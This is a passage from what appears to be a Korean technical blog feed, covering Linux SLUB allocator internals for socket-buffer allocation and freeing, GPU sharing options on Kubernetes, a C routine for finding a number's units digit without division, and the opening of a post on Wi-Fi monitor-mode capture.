                  /* gfpflags = gfp_mask & ~GFP_DMA, */  kmalloc_slab()  slab_alloc()
                  /* node = NUMA_NO_NODE = -1, */                       slab_alloc_node()  
                  /* addr = _RET_IP_, */
                  /* orig_size = s->object_size */

위 call trace에서 slab_alloc_node 함수의 구현을 살펴보면 할당의 상황들이 나오기 시작한다. 만약 현재 상황이 초기 할당이거나 slab cache가 모두 할당된 상황이라면 struct kmem_cache_cpu의 freelist나 page 멤버가 유효한 메모리 주소를 갖고 있지 않을 것이다. 하지만 이에 해당하지 않는다면 이들은 어떤 주소든 갖고 있을 것이며, 따라서 이로부터 할당하면 될 것이다.

/* mm/slub.c */

/*
 * Inlined fastpath so that allocation functions (kmalloc, kmem_cache_alloc)
 * have the fastpath folded into their functions. So no function call
 * overhead for requests that can be satisfied on the fastpath.
 *
 * The fastpath works by first checking if the lockless freelist can be used.
 * If not then __slab_alloc is called for slow processing.
 *
 * Otherwise we can simply pick the next object from the lockless free list.
 */
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
		gfp_t gfpflags, int node, unsigned long addr, size_t orig_size)
{
	void *object;
	struct kmem_cache_cpu *c;
	struct page *page;
	unsigned long tid;
	struct obj_cgroup *objcg = NULL;
	bool init = false;

	/* ... */

redo:
	/*
	 * Must read kmem_cache cpu data via this cpu ptr. Preemption is
	 * enabled. We may switch back and forth between cpus while
	 * reading from one cpu area. That does not matter as long
	 * as we end up on the original cpu again when doing the cmpxchg.
	 *
	 * We must guarantee that tid and kmem_cache_cpu are retrieved on the
	 * same cpu. We read first the kmem_cache_cpu pointer and use it to read
	 * the tid. If we are preempted and switched to another cpu between the
	 * two reads, it's OK as the two are still associated with the same cpu
	 * and cmpxchg later will validate the cpu.
	 */
	c = raw_cpu_ptr(s->cpu_slab);
	tid = READ_ONCE(c->tid);

	/*
	 * Irqless object alloc/free algorithm used here depends on sequence
	 * of fetching cpu_slab's data. tid should be fetched before anything
	 * on c to guarantee that object and page associated with previous tid
	 * won't be used with current tid. If we fetch tid first, object and
	 * page could be one associated with next tid and our alloc/free
	 * request will be failed. In this case, we will retry. So, no problem.
	 */
	barrier();

	/*
	 * The transaction ids are globally unique per cpu and per operation on
	 * a per cpu queue. Thus they can be guarantee that the cmpxchg_double
	 * occurs on the right processor and that there was no operation on the
	 * linked list in between.
	 */

	object = c->freelist;
	page = c->page;
	/*
	 * We cannot use the lockless fastpath on PREEMPT_RT because if a
	 * slowpath has taken the local_lock_irqsave(), it is not protected
	 * against a fast path operation in an irq handler. So we need to take
	 * the slow path which uses local_lock. It is still relatively fast if
	 * there is a suitable cpu freelist.
	 */
	if (IS_ENABLED(CONFIG_PREEMPT_RT) ||
	    unlikely(!object || !page || !node_match(page, node))) {
		object = __slab_alloc(s, gfpflags, node, addr, c);
	} else {
		void *next_object = get_freepointer_safe(s, object);

		/*
		 * The cmpxchg will only match if there was no additional
		 * operation and if we are on the right processor.
		 *
		 * The cmpxchg does the following atomically (without lock
		 * semantics!)
		 * 1. Relocate first pointer to the current per cpu area.
		 * 2. Verify that tid and freelist have not been changed
		 * 3. If they were not changed replace tid and freelist
		 *
		 * Since this is without lock semantics the protection is only
		 * against code executing on this cpu *not* from access by
		 * other cpus.
		 */
		if (unlikely(!this_cpu_cmpxchg_double(
				s->cpu_slab->freelist, s->cpu_slab->tid,
				object, tid,
				next_object, next_tid(tid)))) {

			note_cmpxchg_failure("slab_alloc", s, tid);
			goto redo;
		}
		prefetch_freepointer(s, next_object);
		stat(s, ALLOC_FASTPATH);
	}

	maybe_wipe_obj_freeptr(s, object);
	init = slab_want_init_on_alloc(gfpflags, s);

out:
	slab_post_alloc_hook(s, objcg, gfpflags, 1, &object, init);

	return object;
}

계속해서 나아가면, 다음과 같이 call trace를 정리할 수 있다. (kmalloc()의 call trace가 slab_alloc_node()부터 겹침을 확인하라)

/* function call trace */

alloc_skb()                                                 kmalloc()
__alloc_skb() /* flags = 0, node = NUMA_NO_NODE = -1 */ __kmalloc() /* size<pagesize*2 */
kmem_cache_alloc_node() /* cache = skbuff_head_cache, */        |
                        /* gfp_mask & ~GFP_DMA, */              +-----------+
                        /* node = NUMA_NO_NODE = -1 */          |           |
slab_alloc_node() /* s = cache = skbuff_head_cache, */          V           V
     |            /* gfpflags = gfp_mask & ~GFP_DMA, */  kmalloc_slab()  slab_alloc()
     |            /* node = NUMA_NO_NODE = -1, */                       slab_alloc_node()  
     |            /* addr = _RET_IP_, */
     |            /* orig_size = s->object_size */
     |
     +-------------------+
     |slowpath           |fastpath (slab cache freelist)
     |                   |
     |no freelist or     |
     |no page            |--------------------------+
     |                   |1                         |2
     V                   V                          V
__slab_alloc()         get_freepointer_safe()   this_cpu_cmpxchg_double()
___slab_alloc()                                 raw_cpu_cmpxchg_double()
     |                                          __pcpu_double_call_return_bool()
     |                                          raw_cpu_cmpxchg_double_[1248]()
     |                                          raw_cpu_generic_cmpxchg_double()
     |
     |
     +---------------------------+------------------------+
     |3                          |1                       |2
     |no page                    |per-cpu partial list    |NUMA node partial list
     |                           |                        |
     V                           V                        V
new_slab()                slub_percpu_partial()       get_partial()
allocate_slab()
alloc_slab_page()
alloc_pages()
alloc_pages_node()
__alloc_pages_node()
__alloc_pages() /* This is the 'heart' of the zoned buddy allocator */
get_page_from_freelist()
rmqueue()
    |
    |order <= 3
    |
    V
rmqueue_pcplist()
__rmqueue_pcplist() /* Remove page from the per-cpu list, caller must protect the list */
    |
    |if the list is empty
    |
    V
rmqueue_bulk() /* Obtain a specified number of elements from the buddy allocator */

위 call trace를 살펴보면, slab의 초기 할당에서는 page allocator (zoned buddy allocator)로부터 페이지를 할당받는 것이 분명해보인다. 특히 per-cpu의 page list (linked list)가 비어있을 때는 buddy allocator로부터 페이지를 얻어올 것이다. 여기서는 slab fastpath를 살펴보도록 하겠다. 먼저 get_freepointer_safe()와 slab_alloc_node()의 구현을 읽어보면 slab cache의 freelist에 s->offset를 더하여 할당할 오브젝트의 주소를 얻음을 알 수 있다. 그리고 여기에 KASLR이 활성화될 경우 추가적인 연산 (freelist_ptr()을 참고하라)이 수행된다.

/* mm/slub.c */

static inline void *get_freepointer_safe(struct kmem_cache *s, void *object)
{
	unsigned long freepointer_addr;
	void *p;

	if (!debug_pagealloc_enabled_static())
		return get_freepointer(s, object);

	object = kasan_reset_tag(object);
	freepointer_addr = (unsigned long)object + s->offset;
	copy_from_kernel_nofault(&p, (void **)freepointer_addr, sizeof(p));
	return freelist_ptr(s, p, freepointer_addr);
}

이렇게 얻어진 주소는 raw_cpu_generic_cmpxchg_double()에서 freelist에 쓰여지게 된다.

/* include/asm-generic/percpu.h */
/* 
   pcp1 = s->cpu_slab->freelist
   pcp2 = s->cpu_slab->tid
   oval1 = object (= freelist)
   oval2 = tid
   nval1 = next_object (= get_freepointer_safe())
   nval2 = next_tid(tid)
*/

#define raw_cpu_generic_cmpxchg_double(pcp1, pcp2, oval1, oval2, nval1, nval2) \
({									\
	typeof(pcp1) *__p1 = raw_cpu_ptr(&(pcp1));			\
	typeof(pcp2) *__p2 = raw_cpu_ptr(&(pcp2));			\
	int __ret = 0;							\
	if (*__p1 == (oval1) && *__p2  == (oval2)) {			\
		*__p1 = nval1;						\
		*__p2 = nval2;						\
		__ret = 1;						\
	}								\
	(__ret);							\
})

정리하면, 커널 내부에서 사용되는 오브젝트, 특히 SKB를 할당할 때의 우선순위는 다음과 같다:

Slab cache (skbuff cache) freelist
Slub per-cpu partial list
NUMA node partial list
Page allocator (zoned buddy allocator)
1. Per-cpu freelis
2. Other paths …

SLUB allocator and SKB deallocation

SLUB allocator는 slab이 해제될 때 이 slab이 속한 페이지를 partial list에 넣는다. 그런데 이때 slab 전체가 해제된 경우 그 페이지는 page allocator가 갖게 된다[1].

SKB를 해제하는 과정은 kfree_skb 함수에서부터 시작된다. (kfree()의 call trace가 slab_free()에서부터 겹침을 확인하라)

/* function call trace */

kfree_skb()                                           kfree()
__kfree_skb()                                         slab_free()
kfree_skbmem()
kmem_cache_free()
slab_free() /* s = skbuff_head_cache
               page = virt_to_head_page(skb)
               head = skb
               tail = NULL
               cnt = 1
               addr = _RET_IP */
do_slab_free() /* this function is fastpath */

만약 해제하고자 하는 slab이 속한 페이지와 cpu slab이 바라보고 있는 페이지가 같다면, 그 freelist를 조작하는 것으로 작업을 끝낼 수 있다. 이것이 slab free에서의 fastpath이고, 상기의 조건을 만족시키지 못한다면 slowpath로 넘어간다.

/* mm/slub.c */

/*
 * Fastpath with forced inlining to produce a kfree and kmem_cache_free that
 * can perform fastpath freeing without additional function calls.
 *
 * The fastpath is only possible if we are freeing to the current cpu slab
 * of this processor. This typically the case if we have just allocated
 * the item before.
 *
 * If fastpath is not possible then fall back to __slab_free where we deal
 * with all sorts of special processing.
 *
 * Bulk free of a freelist with several objects (all pointing to the
 * same page) possible by specifying head and tail ptr, plus objects
 * count (cnt). Bulk free indicated by tail pointer being set.
 */
static __always_inline void do_slab_free(struct kmem_cache *s,
				struct page *page, void *head, void *tail,
				int cnt, unsigned long addr)
{
	void *tail_obj = tail ? : head;
	struct kmem_cache_cpu *c;
	unsigned long tid;

	/* memcg_slab_free_hook() is already called for bulk free. */
	if (!tail)
		memcg_slab_free_hook(s, &head, 1);
redo:
	/*
	 * Determine the currently cpus per cpu slab.
	 * The cpu may change afterward. However that does not matter since
	 * data is retrieved via this pointer. If we are on the same cpu
	 * during the cmpxchg then the free will succeed.
	 */
	c = raw_cpu_ptr(s->cpu_slab);
	tid = READ_ONCE(c->tid);

	/* Same with comment on barrier() in slab_alloc_node() */
	barrier();

	if (likely(page == c->page)) {
#ifndef CONFIG_PREEMPT_RT
		/* ... */
#else /* CONFIG_PREEMPT_RT */
		/*
		 * We cannot use the lockless fastpath on PREEMPT_RT because if
		 * a slowpath has taken the local_lock_irqsave(), it is not
		 * protected against a fast path operation in an irq handler. So
		 * we need to take the local_lock. We shouldn't simply defer to
		 * __slab_free() as that wouldn't use the cpu freelist at all.
		 */
		void **freelist;

		local_lock(&s->cpu_slab->lock);
		c = this_cpu_ptr(s->cpu_slab);
		if (unlikely(page != c->page)) {
			local_unlock(&s->cpu_slab->lock);
			goto redo;
		}
		tid = c->tid;
		freelist = c->freelist;

		set_freepointer(s, tail_obj, freelist);
		c->freelist = head;
		c->tid = next_tid(tid);

		local_unlock(&s->cpu_slab->lock);
#endif
		stat(s, FREE_FASTPATH);
	} else
		__slab_free(s, page, head, tail_obj, cnt, addr);

}

Slowpath에서 계속 따라가면 다음과 같이 call trace를 그려볼 수 있다. (아래 call trace에서 else condition은 다른 조건이 만족되지 않을 경우 진행되는 경로임에 주의; kfree()의 call trace가 slab_free()에서부터 겹침을 확인하라)

/* function call trace */

kfree_skb()                                           kfree()
__kfree_skb()                                         slab_free()
kfree_skbmem()
kmem_cache_free()
slab_free() /* s = skbuff_head_cache,
               page = virt_to_head_page(skb),
               head = skb,
               tail = NULL,
               cnt = 1,
               addr = _RET_IP */
do_slab_free() /* this function is fastpath */
     |
     |slowpath
     |
     V
__slab_free() /* s = skbuff_head_cache,
     |           page = virt_to_head_page(skb),
     |           head = skb,
     |           tail = skb,
     |           cnt = 1,
     |           addr = _RET_IP_ */
     |
     +---------------------------+---------------------------------+
     |if slab is empty           |likely,                          |
     |                           |if slab is full                  |
     |                           |                                 |
     |                           |                                 |
     |page list                  |per-cpu partial list             |NUMA node partial
     |                           |                                 |list
     |                           |                                 |
     V                           V                                 V
discard_slab()<--+            put_cpu_partial()/* drain=1 */ add_partial() <---+
free_slab()      |               |                           __add_partial()   |
__free_slab()    |slab empty     |per-cpu partial list                         |else
__free_pages()   |               |is full                                      |condition
free_the_page()  |               |                                             |
    |            |               V                                             |
    |            +----------- __unfreeze_partials()----------------------------+
    |order <= 3
    |
    V
free_unref_page()
free_unref_page_commit() /* Free a pcp page */

위 call trace에서 slab empty와 slab full, per-cpu partial list full의 조건은 __slab_free()에서 확인할 수 있다.

/* mm/slab.h */

/*
 * The slab lists for all objects.
 */
struct kmem_cache_node {
	spinlock_t list_lock;

#ifdef CONFIG_SLAB
	/* ... */
#endif

#ifdef CONFIG_SLUB
	unsigned long nr_partial;
	struct list_head partial;
#ifdef CONFIG_SLUB_DEBUG
	atomic_long_t nr_slabs;
	atomic_long_t total_objects;
	struct list_head full;
#endif
#endif

};

/* mm/slub.c */

/*
 * Slow path handling. This may still be called frequently since objects
 * have a longer lifetime than the cpu slabs in most processing loads.
 *
 * So we still attempt to reduce cache line usage. Just take the slab
 * lock and free the item. If there is no additional partial page
 * handling required then we can return immediately.
 */
static void __slab_free(struct kmem_cache *s, struct page *page,
			void *head, void *tail, int cnt,
			unsigned long addr)

{
	void *prior;
	int was_frozen;
	struct page new;
	unsigned long counters;
	struct kmem_cache_node *n = NULL;
	unsigned long flags;

	/* ... */
  
	do {
		if (unlikely(n)) {
			spin_unlock_irqrestore(&n->list_lock, flags);
			n = NULL;
		}
		prior = page->freelist;
		counters = page->counters;
		set_freepointer(s, tail, prior);
		new.counters = counters;
		was_frozen = new.frozen;
		new.inuse -= cnt;
		if ((!new.inuse || !prior) && !was_frozen) {

			if (kmem_cache_has_cpu_partial(s) && !prior) {

				/*
				 * Slab was on no list before and will be
				 * partially empty
				 * We can defer the list move and instead
				 * freeze it.
				 */
				new.frozen = 1;

			} else { /* Needs to be taken off a list */

				n = get_node(s, page_to_nid(page));
				/*
				 * Speculatively acquire the list_lock.
				 * If the cmpxchg does not succeed then we may
				 * drop the list_lock without any processing.
				 *
				 * Otherwise the list_lock will synchronize with
				 * other processors updating the list of slabs.
				 */
				spin_lock_irqsave(&n->list_lock, flags);

			}
		}

	} while (!cmpxchg_double_slab(s, page,
		prior, counters,
		head, new.counters,
		"__slab_free"));

	if (likely(!n)) {

		if (likely(was_frozen)) {
			/*
			 * The list lock was not taken therefore no list
			 * activity can be necessary.
			 */
			stat(s, FREE_FROZEN);
		} else if (new.frozen) {
			/*
			 * If we just froze the page then put it onto the
			 * per cpu partial list.
			 */
			put_cpu_partial(s, page, 1);
			stat(s, CPU_PARTIAL_FREE);
		}

		return;
	}

	if (unlikely(!new.inuse && n->nr_partial >= s->min_partial))
		goto slab_empty;

	/*
	 * Objects left in the slab. If it was not on the partial list before
	 * then add it.
	 */
	if (!kmem_cache_has_cpu_partial(s) && unlikely(!prior)) {
		remove_full(s, n, page);
		add_partial(n, page, DEACTIVATE_TO_TAIL);
		stat(s, FREE_ADD_PARTIAL);
	}
	spin_unlock_irqrestore(&n->list_lock, flags);
	return;

slab_empty:
    if (prior) {
		/*
		 * Slab on the partial list.
		 */
		remove_partial(n, page);
		stat(s, FREE_REMOVE_PARTIAL);
	} else {
		/* Slab must be on the full list */
		remove_full(s, n, page);
	}
  
	/* ... */
    discard_slab(s, page);
}

/* mm/slub.c */

static inline bool cmpxchg_double_slab(struct kmem_cache *s, struct page *page,
		void *freelist_old, unsigned long counters_old,
		void *freelist_new, unsigned long counters_new,
		const char *n)
{
#if defined(CONFIG_HAVE_CMPXCHG_DOUBLE) && \
    defined(CONFIG_HAVE_ALIGNED_STRUCT_PAGE)
	if (s->flags & __CMPXCHG_DOUBLE) {
		if (cmpxchg_double(&page->freelist, &page->counters,
				   freelist_old, counters_old,
				   freelist_new, counters_new))
			return true;
	} else
#endif
	{
		unsigned long flags;

		local_irq_save(flags);
		__slab_lock(page);
		if (page->freelist == freelist_old &&
					page->counters == counters_old) {
			page->freelist = freelist_new;
			page->counters = counters_new;
			__slab_unlock(page);
			local_irq_restore(flags);
			return true;
		}
		__slab_unlock(page);
		local_irq_restore(flags);
	}

	cpu_relax();
	stat(s, CMPXCHG_DOUBLE_FAIL);

#ifdef SLUB_DEBUG_CMPXCHG
	pr_info("%s %s: cmpxchg double redo ", n, s->name);
#endif

	return false;
}

이때 slab empty를 판별하는 과정에서 NUMA node의 partial list 내 페이지 수 (n->nr_partial) 와 s->min_partial을 비교함을 확인하라. 이는 전달된 페이지에 할당된 slab이 없고, NUMA node에 이미 최소한의 partial slab이 확보되어 있음을 의미한다.

References

corbet, Apr. 2007, “The SLUB allocator,” LWN. [Online]. Available: https://lwn.net/Articles/229984/
Jeff Bonwick, “The Slab Allocator: An Object-Cacheing Kenrel Memory Allocator,” in Proc. USENIX Summer 1994 Technical Conference, Boston, Massachusetts, USA, Jun. 1994, pp. 87 – 98.
Jonathan Corbet, Jul. 2011, “Per-CPU variables and the realtime tree,” LWN. [Online]. Available: https://lwn.net/Articles/452884/
Kanoj Sarcar, et al., Nov. 1999, “What is NUMA?,” Linux Memory Management Documentation. [Online]. Available: https://www.kernel.org/doc/html/v4.18/vm/numa.html
“Optimizing Applications for NUMA,” Intel Guide for Developing Multithreaded Applications. [Online]. Available: https://www.intel.com/content/dam/develop/external/us/en/documents/3-5-memmgt-optimizing-applications-for-numa-184398.pdf

Analysis about Fractional GPU on Kubernetes

Sun, 23 Jun 2024 05:50:00 +0000

Introduction
PCI Passthrough
Axiom of gpu-operator
Workarounds with gpu-operator
1. Use GPU devices on node without fixed allocation
2. Nvidia Time-Slicing
3. Nvidia MIG
Workarounds without gpu-operator
1. gpushare-scheduler-extender
2. nvshare
Conclusion
References

Introduction

본 글에서는 gpu-operator에서 구성할 수 있는 GPU Passthrough 방법에 대한 공리와 공리를 우회할 수 있는 방법에 대해 논하고, gpu-operator를 차용하거나 차용하지 않는 환경에서의 한계가 존재하는 대안들을 설명한다.

PCI Passthrough

GPU 자원은 Host OS에 구성되어 있는 반면, Container의 경우 pivot_root, cgroup, namespace에 의해 격리되는 Process이다. GPU 자원은 pci에 의해 관리되므로 Container Runtime등을 통해 해당 pci Device를 연동해야 한다.

GPU 연동을 제공하는 컴포넌트로 Docker 환경에서는 nvidia-docker, nvidia container toolkit이 있고, Kubernetes에서는 gpu-operator가 있다. gpu-operator의 경우 기존 Nvidia에서 제공하는 GPU 관련 컴포넌트를 하나의 Helm Chart로 통합한 개념이며, 컴포넌트 설명의 경우 글의 목적을 벗어나므로 생략한다.

Axiom of gpu-operator

gpu-operator의 공리이자 제약조건은 하나의 Pod이 고정적으로 하나의 GPU를 차지하는 것이다.

하나의 GPU가 단일 프로세스에 대해 Core / VRAM을 고정적으로 제공하는 구조가 아니므로 하나의 GPU가 여러 프로세스를 수행할 수 있지만, gpu-operator의 경우 Node Extended Resource를 통해 Pod가 고정적으로 사용할 수 있는 GPU를 정의하고, kube-scheduler에 의해 PodSpec 내 requests 및 limits에 대응되는 Resource를 할당할 수 있는 (allocatable - requests or limits) Node를 찾아 Pod를 배치하는 구조를 통해 GPU 자원을 격리시킨다.

즉, 실제 GPU는 여러 Process를 수용하지만, gpu-operator의 제약조건을 차용하게 되어 하나의 Pod만 특정 GPU를 사용할 수 있는 것이다. Node 내 일반 Process의 경우, 해당 제약조건 없이 GPU를 사용할 수 있다.

Workarounds with gpu-operator

고려사항은 다음과 같다.

GPU 내 Core / VRAM 단위의 자원 격리가 이루어지는가?
GPU:Pod = 1:N 연동이 구성될 경우, 대응되는 Pod의 개수가 추가 / 제거됨에 따라 Pod에 할당된 Core / VRAM이 변동되지 않는가?

Use GPU devices on node without fixed allocation

gpu-operator의 경우 Pod에 대한 nvidia.com/gpu Resource Requests를 구성하지 않았을 경우 기본값으로 Node에 존재하는 모든 GPU를 사용할 수 있다. 따라서, gpu-operator의 제약조건을 차용하지 않고 여러 Pod에 대응되는 Process가 GPU를 동시에 사용하는 구성이다.

Nvidia Time-Slicing

Nvidia Time-Slicing을 통해 GPU를 time-slicing하여 사용할 수 있다. 고정적으로 GPU의 자원을 1:N으로 분리하지만, 자원 격리가 Strict하게 구성되지 않아 VRAM 제한을 tensorflow / pytorch 코드 레벨에서 구성하지 않았다면 VRAM OOM이 발생할 수 있다.

Nvidia MIG

vGPU의 일종으로, Nvidia MIG (Multi-Instance GPU)를 제공하는 GPU를 통해 vGPU를 구성할 수 있다. A30의 경우 최대 1:4, A100, H100의 경우 1:7의 GPU : vGPU 대응을 구성할 수 있다. gpu-operator를 기반으로 간편하게 활성화하고 사용할 수 있지만, A30, A100, H100의 GPU에서만 사용할 수 있다.

Workarounds without gpu-operator

gpushare-scheduler-extender

Alibaba Cloud에서 개발한 gpushare-scheduler-extender의 경우 VRAM 단위의 Node Extended Resource를 제공한다. 다만, 구성상 VRAM 단위의 자원 격리가 이루어지지 않으며, 단순히 gpu-operator의 제약조건을 VRAM 단위로 변환시킨 정도에 불과하다. 따라서 pytorch / tensorflow등 code 레벨의 VRAM limit 구성을 요한다. 또한, scheduling을 제공하기 위해 kube-scheduler 내 args 추가 및 volumes 추가를 요해, k3s 혹은 microk8s등의 single node k8s에서는 사용할 수 없다.

nvshare

nvshare의 경우 GPU:Pod = 1:N 연동을 구성하여 VRAM을 분할한다. 다만, GPU에 대응되는 Pod가 증감할 경우 Pod가 사용할 수 있는 VRAM이 증감하는 이슈가 존재하므로, 자원 격리는 존재하지만 고정적인 자원을 제공하지 못하는 이슈에 따라 프로덕션에서 적합하지 않다.

Conclusion

이렇게 gpu-operator의 제약조건과, 해당 제약조건을 극복하기 위해 상용 소프트웨어를 차용하지 않고 구성할 수 있는 workaround들을 나열하여 분석하였다.

Core / VRAM 단위의 자원 격리의 경우 Open Source 기반으로 연동할 수 있는 방법을 찾지 못해, 다음과 같은 상황별 recommendation들을 구성하며 글을 맺는다.

Pod가 고정적으로 Core / VRAM 자원이 격리되는 하나 이상의 GPU를 사용해야 하는 경우 gpu-operator + nvidia.com/gpu 명시해서 사용
Pod가 Core / VRAM에 대한 noisy neighbor 현상을 용인할 수 있으며, 하나의 GPU에 여러 Pod를 사용해야 할 경우 gpu-operator + nvidia.com/gpu Resource 정의 없이 사용

References

https://github.com/NVIDIA/nvidia-docker

https://github.com/NVIDIA/nvidia-container-toolkit

https://github.com/NVIDIA/gpu-operator

https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/1.10.0/user-guide.html#gpu-enumeration

https://github.com/NVIDIA/gpu-operator/blob/main/deployments/gpu-operator/values.yaml#L258

https://docs.run.ai/v2.17/Researcher/scheduling/GPU-time-slicing-scheduler/

https://developer.nvidia.com/blog/improving-gpu-utilization-in-kubernetes/

https://docs.nvidia.com/datacenter/tesla/mig-user-guide/

https://docs.nvidia.com/datacenter/cloud-native/kubernetes/latest/index.html

https://github.com/grgalex/nvshare

https://github.com/AliyunContainerService/gpushare-scheduler-extender

A Method To Find The Units Digit Of A Given Decimal Without Using Division Or Modulo Operations

Thu, 29 Feb 2024 00:00:00 +0000

Introduction
Problem Description and Analysis
Solutions
1. Mapping units digit of each bit
Conclusion
Appendix
1. Why if-else statements are counted?
References

Introduction

나눗셈이나 나머지 연산은, 특히 반도체 칩에게는, 상대적으로 비싼 비용을 치러야 하는 연산이다. 그럼에도 반도체 칩 설계자는 이를 사용하면 간단히 해결되는 문제를 종종 맞닥뜨리게 된다. 이때 설계자는 나눗셈이나 나머지 연산을 구현해서 해결하거나, 또다른 방법을 찾아야만 한다.

본 글에서는 이러한 유형의 문제 중 하나를 해결한 방법을 다룬다. 다만, 문제를 해결한 방법을 구현한 코드는 Verilog HDL이 아닌 C로 제공할 것이다.

Problem Description and Analysis

본 글에서 다루고자 하는 문제는 다음과 같다:

0 - 1155 범위의 숫자가 주어질 때 주어진 수보다 작거나 같은 5의 배수 중에서 가장 큰 양의 정수를 구하는 프로그램을 작성하라. 단, 나눗셈이나 나머지 연산을 사용해서는 안되며, 가능한 적은 if-else 문을 사용해야 한다.

위 문제는 주어진 수의 일의 자리를 구했을 때 얻은 수와 5의 차이만큼 주어진 수에서 빼서 해결할 수 있다. 다만, 나눗셈이나 나머지 연산을 사용하지 않아야 하므로 10으로 나눈 나머지로 일의 자리를 구하는 방법은 쓸 수 없다.

즉, 이 문제는 주어진 수의 일의 자리를 제약 조건을 만족하면서 구할 수 있다면 해결된다.

Solutions

그럼 일의 자리를 구하는 방법을 알아보자. 여기에는 여러가지 방법이 있을 수 있으며, 그 중 간단한 방법으로는 단계적으로 특정 값을 빼는 것이 있다. 하지만 단계적으로 값을 빼는 방법은 if-else 문의 개수를 줄이는 방법에 대한 고민이 필요하므로 해결책이 되기 어렵다[1].

여기서는 각 비트의 일의 자리를 매핑하는 방법을 설명할 것이다.

Mapping units digit of each bit

비트열의 각 비트는 십진수의 자릿수와 마찬가지로 자릿수를 가진다. Least significant bit (LSB)로부터 0번 째는 1 (2 ^ 0), 1번 째는 2 (2 ^ 1), 2번 째는 4 (2 ^ 2), 3번 째는 8 (2 ^ 3), … 과 같은 식으로 갖게 된다. 그리고 이러한 자릿수를 모두 더하여 십진수로 변환할 수 있다.

여기서 일의 자리 이외의 자릿수는 관심 대상이 아니다. 즉, 최종적인 일의 자리에 해당하는 수는 비트열의 (1인 위치의) 각 자릿수의 일의 자리에 해당하는 수를 더하여 구할 수 있다. 그리고 자릿수의 일의 자리를 더해나갈 때, 그 값이 10을 초과하는지 매번 검사하여 초과한다면 10을 빼야할 것이다.

예를 들어, 23의 일의 자리를 구한다고 하자. 23은 이진수로 10111(2)이다. 이때 더해야 하는 자릿수의 일의 자리는 LSB로부터 1, 2, 4, 6이다. 이들을 모두 더하면 13이므로 (10을 초과하므로) 10을 빼면 일의 자리인 3을 얻는다.

그런데 본 문제에서 주어지는 수의 범위는 0 - 1155이므로 11 비트상에서 각 자릿수의 일의 자리를 switch case 문으로 매핑하고 이들을 더해나가면 된다. 그럼 일의 자리를 얻기 위해 하나의 switch case 문, 두 개의 if-else 문이 필요할 것으로 보인다. 이는 다음과 같이 C 코드를 작성해봄으로써 알 수 있다:

#include <stdio.h>

unsigned int map_units_digit_of_each_bit(unsigned int n)
{
  unsigned int res;

  switch (n) {
  case 0x000:
    res = 0;
    break;
  case 0x001:
    res = 1;
    break;
  case 0x002:
    res = 2;
    break;
  case 0x004:
    res = 4;
    break;
  case 0x008:
    res = 8;
    break;
  case 0x010:
    res = 6;
    break;
  case 0x020:
    res = 2;
    break;
  case 0x040:
    res = 4;
    break;
  case 0x080:
    res = 8;
    break;
  case 0x100:
    res = 6;
    break;
  case 0x200:
    res = 2;
    break;
  case 0x400:
    res = 4;
    break;
  default:
    res = 0;
    break;
  }
  return res;
}

unsigned int get_units_digit(unsigned int n, unsigned int len)
{
  unsigned int mask, i, digit_1;

  mask = 1;
  digit_1 = 0;
  for (i = 0; i < len; i++) {
    if (n & mask)
      digit_1 += map_units_digit_of_each_bit(mask);
    if (digit_1 >= 0xa)
      digit_1 -= 0xa;
    mask <<= 1;
  }
  return digit_1;
}

unsigned int get_biggest_multiple_of_5_less_than_n(unsigned int n,
						   unsigned int bitlen)
{
  unsigned int digit_1, res;

  digit_1 = get_units_digit(n, bitlen);
  if (digit_1 == 0x0 || digit_1 == 0x5) {
    res = n;
  } else if (digit_1 < 0x5) {
    res = n - digit_1;
  } else if (digit_1 > 0x5) {
    res = n - (digit_1 - 0x5);
  }
  return res;
}

int main()
{
  unsigned int n;

  for (n = 0; n < 1156; n++)
    printf("%d => %d\n", n, get_biggest_multiple_of_5_less_than_n(n, 12));
  return 0;
}

Conclusion

지금까지 나눗셈이나 나머지 연산을 사용하지 않고 일의 자리를 구하는 방법에 대해 살펴보았다. 비록 실제 문제는 주어진 수보다 작거나 같은 5의 배수 중에서 가장 큰 수를 구하는 것이지만, 이를 해결하기 위해 반드시 해결해야 하는 핵심 문제는 일의 자리를 구하는 것이었다.

물론, Verilog HDL이 아닌 C로 구현하였지만, Verilog HDL의 코딩 스타일을 알고 있다면 C 코드를 변환하는 것에 문제가 없을 것이라고 생각한다.

Appendix

Why if-else statements are counted?

이를 이해하기 위해서는 Verilog HDL이 어떻게 synthesis (compile)되는지 이해해야 한다. Verilog HDL 코드는 synthesis를 거쳐서 논리 게이트로 변환된다. 이때 이를 수행하는 툴 중 대표적인 것으로 Design Compiler (DC)가 있다. 여기서 일반적으로 multiplexer (MUX)는 Verilog HDL에서 if와 case (C에서의 switch 문) 문으로 표현된다. 그리고 if-else if-else if- … -else는 chained multiplexer를 생성하고 이는 성능을 감소시킴이 알려져 있다. 그래서 if-else if-else가 얼마나 사용되는지 확인할 필요가 있는 것이다[2].

References

node ninja, “How to split a two-digit number up in Verilog,” 2011. [Online]. Available: https://stackoverflow.com/questions/5267331/how-to-split-a-two-digit-number-up-in-verilog, [Accessed Feb. 28, 2024].
“Design Compiler User Guide Version L-2016.03-SP2,” Synopsys, 2016.

Dog Sniffing The Network: Monitor Mode To Wireless Frame Analysis

Thu, 08 Feb 2024 00:00:00 +0000

Introduction
Monitor Mode To Capture Wireless Frames
1. Opening wireless adapters via system calls
2. Ioctls of wireless adapters in Linux
3. Capturing wireless frames in the air
Wireless Frame Anaylsis
1. Radiotap header
2. IEEE 802.11 frame
3. Channel hopping
Conclusion
References

Introduction

와이파이 혹은 무선 랜 (Wireless LAN)상에서의 프레임을 캡처하는 프로그램을 작성하는 예제는 이미 많이 작성되어 있다. 그리고 이들은 대부분 libpcap이나 scapy, airodump-ng, airmon-ng 등을 사용한다. 물론, 이렇게 라이브러리를 사용하여 실습을 진행하는 것으로부터 많은 것을 배울 수 있다. 하지만 가능한 OS API와 표준 라이브러리만을 사용하여 구현해본다면, 보다 많은 것을 배울 수 있을 것이다.

